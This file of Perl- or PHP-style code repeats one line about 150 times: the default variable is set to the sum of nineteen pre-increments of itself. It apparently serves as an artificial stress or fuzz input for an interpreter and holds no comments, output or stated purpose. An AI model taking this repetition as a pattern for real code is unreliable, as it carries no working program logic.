$_=(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_);
$_=(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_);
$_=(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_);
$_=(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_);
$_=(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_);
$_=(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_);
$_=(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_);
$_=(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_);
$_=(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_);
$_=(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_);
$_=(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_);
$_=(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_);
$_=(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_);
$_=(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_);
$_=(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_);
$_=(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_);
$_=(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_);
$_=(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_);
$_=(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_);
$_=(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_);
$_=(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_);
$_=(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_);
$_=(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_);
$_=(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_);
$_=(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_);
$_=(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_);
$_=(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_);
$_=(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_);
$_=(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_);
$_=(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_);
$_=(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_);
$_=(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_);
$_=(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_);
$_=(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_);
$_=(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_);
$_=(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_);
$_=(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_);
$_=(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_);
$_=(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_);
$_=(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_);
$_=(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_);
$_=(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_);
$_=(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_);
$_=(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_);
$_=(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_);
$_=(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_);
$_=(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_);
$_=(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_);
$_=(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_);
$_=(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_);
$_=(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_);
$_=(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_);
$_=(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_);
$_=(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_);
$_=(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_);
$_=(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_);
$_=(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_);
$_=(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_);
$_=(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_);
$_=(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_);
$_=(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_);
$_=(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_);
$_=(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_);
$_=(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_);
$_=(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_);
$_=(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_);
$_=(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_);
$_=(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_);
$_=(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_);
$_=(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_);
$_=(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_);
$_=(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_);
$_=(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_);
$_=(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_);
$_=(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_);
$_=(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_);
$_=(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_);
$_=(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_);
$_=(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_);
$_=(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_);
$_=(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_);
$_=(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_);
$_=(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_);
$_=(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_);
$_=(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_);
$_=(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_);
$_=(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_);
$_=(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_);
$_=(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_);
$_=(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_);
$_=(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_);
$_=(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_);
$_=(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_);
$_=(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_);
$_=(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_);
$_=(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_);
$_=(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_);
$_=(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_);
$_=(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_);
$_=(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_);
$_=(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_);
$_=(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_);
$_=(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_);
$_=(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_);
$_=(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_);
$_=(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_);
$_=(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_);
$_=(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_);
$_=(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_);
$_=(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_);
$_=(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_);
$_=(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_);
$_=(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_);
$_=(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_);
$_=(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_);
$_=(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_);
$_=(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_);
$_=(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_);
$_=(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_);
$_=(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_);
$_=(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_);
$_=(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_);
$_=(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_);
$_=(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_);
$_=(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_);
$_=(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_);
$_=(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_);
$_=(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_)+(++$_);
